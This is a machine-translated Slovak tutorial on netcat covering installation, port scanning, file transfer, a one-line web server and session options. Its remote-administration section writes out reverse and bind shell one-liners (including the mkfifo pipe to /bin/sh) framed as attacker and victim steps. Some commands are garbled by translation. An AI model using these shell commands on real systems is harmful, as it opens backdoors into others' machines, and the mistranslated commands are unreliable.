NetCat

Netcat - švajčiarsky armádny nôž pre použitie

Netcat - švajčiarsky armádny nôž pre použitie
Netcat je nástroj, ktorý sa používa na čítanie a zápis údajov cez porty TCP a UDP. Môže byť použitý na množstvo skvelých vecí, ako je prenos súborov, skenovanie portov, presmerovanie portov, backdoorovanie počítača niekoho iného, ​​vytvorenie jednoduchého chatovacieho programu, riešenie problémov so sieťou a ďalšie, preto je známy ako švajčiarsky armádny nôž. Dodáva sa tiež predinštalovaný takmer s každou distribúciou systému Linux v dnešnej dobe a používajú ho hlavne správcovia sietí, devop a bezpečnostní inžinieri na vykonávanie svojich každodenných malých úloh.

Malý rozdiel medzi netcat-traditional a netcat-openbsd

Pre netcat sú k dispozícii dva podobné balíčky, s miernym rozdielom medzi nimi.

netcat-tradicna obsahuje ďalšiu voľbu '-e', ktorú je možné použiť na viazanie programu (t.j.e bash) s netcat. Táto funkcia je veľmi užitočná na účely vzdialenej správy.

netcat-openbsd mať ďalšiu podporu pre IPv6 a proxy.

Inštalácia Netcat

Netcat je síce predinštalovaný vo väčšine distribúcií Linuxu, ale ak nie, dá sa ľahko nainštalovať pomocou nasledujúcich príkazov.

Pre tradičné balenie,

[chránené e-mailom]: ~ $ sudo apt-get install netcat-traditional

Pre verziu openbsd,

[chránené e-mailom]: ~ $ sudo apt-get install netcat-openbsd

Netcat pre Windows je možné stiahnuť tu https: // sourceforge.net / projects / nc110 / files /.

Teraz preskúmame niekoľko zaujímavých prípadov použitia netcat

Skenovanie portov pomocou netcat

Ak chcete vyhľadať otvorené porty, použite voľbu „-z“. Netcat sa pokúsi pripojiť ku každému portu bez odosielania akýchkoľvek údajov alebo veľmi obmedzených údajov v prípade UDP. Zadajte nasledujúci text

[chránené e-mailom]: ~ $ nc -z -v hackme.org 80
... snip ..
hackme.org [217.78.1.155] 80 (http) otvorené

Ak chcete vyhľadať celý rad portov, napíšte

[chránené e-mailom]: ~ $ nc -z -nv 192.168.100.72 20-80
(NEZNÁMY) [192.168.100.72] 80 (http) otvorené
(NEZNÁMY) [192.168.100.72] 22 (ssh) otvorené

Prenos súborov s netcat

Ďalším užitočným prípadom použitia siete netcat je prenos súborov medzi vzdialenými počítačmi. Môžete posielať texty a binárne súbory z jedného počítača do druhého. Pokúsime sa poslať súbor „súbor“.pdf “z počítača Linux na počítač so systémom Windows [IP 192.168.100.72] s použitím netcat ako príklad.

Na počítači so systémom Windows (prijímač) zadajte nasledujúci príkaz

C: \ Users> nc -nvlp 1337> súbor.pdf
Počúva sa [0.0.0.0] (rodina 2, port 1337)

Na počítači so systémom Linux (odosielateľ) zadajte nasledujúci príkaz

[chránené e-mailom]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Pripojenie k 192.168.100.72 port 1337 [tcp / *] bol úspešný!

Vzdialená správa s netcat

Jedným z najlepších prípadov použitia netcat je vzdialená správa, čo znamená, že môžete pomocou netcat ovládať počítač niekoho iného. Netcat-traditional je dodávaný s voľbou '-e', ktorou je možné spojiť program (t. J.e cmd.exe vo Windows alebo bash v Linuxe) s portom, čo znamená, že netcat bude fungovať ako komunikátor medzi programom a vzdialeným počítačom. Netcat bude prijímať príkazy zo vzdialeného počítača, bude sa spúšťať v lokálnom systéme a výsledky sa odošle späť do vzdialeného počítača. Táto funkcia je široko používaná na škodlivé účely, na udržanie zadných vrátok v počítačoch a serveroch. Táto funkcia je k dispozícii iba v netcat-traditional, ale s malým trikom možno netcat-openbsd použiť aj na rovnaký účel. Počítač ostatných môžete ovládať dvoma spôsobmi.

V Reverzná škrupina pripojenie, útočník počúva na porte a čaká na odoslanie spojenia zo zariadenia obete. Používa sa, keď je počítač obete za NAT alebo nemá verejnú IP.

Ak chcete získať reverzný shell pomocou netcat, musíte počúvať na porte pomocou netcat. Na počítači útočníka zadajte nasledujúci text,

[chránené e-mailom]: ~ $ nc -nvlp 1337
Počúva sa [0.0.0.0] (rodina 2, port 1337)

Na stroji obete (ak netcat-tradicna je nainštalovaný)

// nahradiť „/ bin / bash“ za „cmd.exe “v prípade Windows

[chránené e-mailom]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Pre netcat-openbsd (kde možnosť „-e“ nie je podporovaná)

[chránené e-mailom]: ~ $ rm / tmp / f; mkfifo / tmp / f; kat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Zatiaľ čo v Viazať škrupinu pripojenie, útočník viaže port na stroji obete a pripája sa k tomuto portu pomocou klientskej zásuvky. Používa sa, keď je stroj útočníka za NAT alebo nemá verejnú IP.

Na stroji postihnutého zadajte

[chránené e-mailom]: ~ $ nc -nlvp 1337 -e / bin / bash
počúvanie [akékoľvek] 1337…

Ak chcete teraz spustiť príkazy na stroji obete, napíšte

[chránené e-mailom]: ~ $ nc -nv 127.0.0.1 1337
Pripojenie k číslu 127.0.0.1 port 1337 [tcp / *] bol úspešný!
$ id
uid = 1000 (azad) gid = 1000 (azad) skupiny = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Jednoduchý webový server využívajúci netcat

Môžete tiež urobiť ďalší jednoduchý trik a použiť netcat ako minimálny jednostránkový webový server. Tento webový server by bol veľmi jednoduchý bez zvláštnych konfigurácií a zvykneme mu posielať náš HTML kód do prehliadača.

[chránené e-mailom]: ~ $, kým je to pravda; do echo -e „HTTP / 1.1 200 OK \ n \ n $ (ozvena "


Môj jednoduchý webový server využívajúci netcat

")" | nc -nvlp 1337; hotový
Počúva sa [0.0.0.0] (rodina 2, port 1337)

Teraz skúste načítať webovú stránku pomocou zvlnenia

[chránené e-mailom]: ~ $ curl http: // 127.0.0.1: 1337 /

Môj jednoduchý webový server využívajúci netcat

Zadajte časový limit relácie netcat

Časový limit relácie netcat môžete určiť pomocou voľby „-w“. Netcat automaticky odpojí svoju reláciu po uplynutí zadaného času.

// -w [čas v sekundách]
[chránené e-mailom]: ~ $ nc -w 40 -nvlp 1337
Počúva sa [0.0.0.0] (rodina 2, port 1234)

Pokračujte v počúvaní, aj keď klient ukončí pripojenie

V normálnom režime sa server netcat vypne a prestane počúvať na porte, keď klient ukončí pripojenie. Môžete udržiavať server hore pomocou voľby „-k“

[chránené e-mailom]: ~ $ nc -k -nlvp 1234
Počúva sa [0.0.0.0] (rodina 2, port 1234)

Záver

Netcat je jednoduchý, ale efektívny nástroj, ktorý je možné použiť na množstvo jednoduchých každodenných úloh. Je predinštalovaný takmer v každom operačnom systéme UNIX a je možné ho použiť na rôzne úlohy, ako je komunikácia medzi dvoma počítačmi, prenos súborov a mnoho ďalších.

Hry Vulkan pre používateľov systému Linux
Vulkan pre používateľov systému Linux
S každou novou generáciou grafických kariet vidíme, že vývojári hier posúvajú hranice grafickej vernosti a prichádzajú o krok bližšie k fotorealizmu. ...
Hry OpenTTD vs Simutrans
OpenTTD vs Simutrans
Vytvorenie vlastnej simulácie dopravy môže byť zábavné, relaxačné a mimoriadne lákavé. Preto sa musíte uistiť, že vyskúšate čo najviac hier, aby ste n...
Hry Výukový program OpenTTD
Výukový program OpenTTD
OpenTTD je jednou z najpopulárnejších obchodných simulačných hier. V tejto hre musíte vytvoriť úžasné dopravné podnikanie. Začnete však na začiatku ok...